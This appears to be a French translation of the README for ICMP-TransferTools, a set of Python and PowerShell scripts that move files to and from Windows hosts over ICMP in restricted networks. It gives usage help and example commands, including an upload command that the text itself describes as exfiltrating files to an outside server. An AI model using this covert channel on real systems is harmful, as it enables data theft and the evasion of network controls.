
Transférer des fichiers vers et depuis un hôte Windows via ICMP dans des environnements réseau restreints.
ICMP-TransferTools est un ensemble de scripts conçus pour déplacer des fichiers vers et depuis des hôtes Windows dans des environnements réseau restreints. Cela est réalisé à l'aide de 4 fichiers, comprenant un serveur Python et un client PowerShell pour chaque sens de transfert (Téléchargement & Envoi).
La seule dépendance nécessaire est Impacket pour l'un des scripts Python. Il peut être installé via pip comme ceci :
pip3 install impacket
Les scripts inclus ICMP-SendFile.py et Invoke-IcmpDownload.ps1 peuvent être utilisés pour télécharger un fichier sur un hôte Windows via ICMP.
Le serveur Python doit être exécuté en premier pour préparer le fichier au téléchargement. Voir ci-dessous l'utilisation du script :
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER'S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
Une fois importé, le client PowerShell peut alors être utilisé pour télécharger le fichier préparé comme ceci :
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
Voir ci-dessous une démonstration rapide :

Les scripts inclus ICMP-ReceiveFile.py et Invoke-IcmpUpload.ps1 peuvent être utilisés pour envoyer/exfiltrer un fichier depuis un hôte Windows via ICMP.
Le serveur Python doit être exécuté en premier pour s'assurer qu'il est prêt à accepter les requêtes du client. Voir ci-dessous l'utilisation du script :
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
Une fois importé, le client PowerShell peut alors être utilisé pour envoyer le fichier souhaité comme ceci :
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
Voir ci-dessous une démonstration rapide :
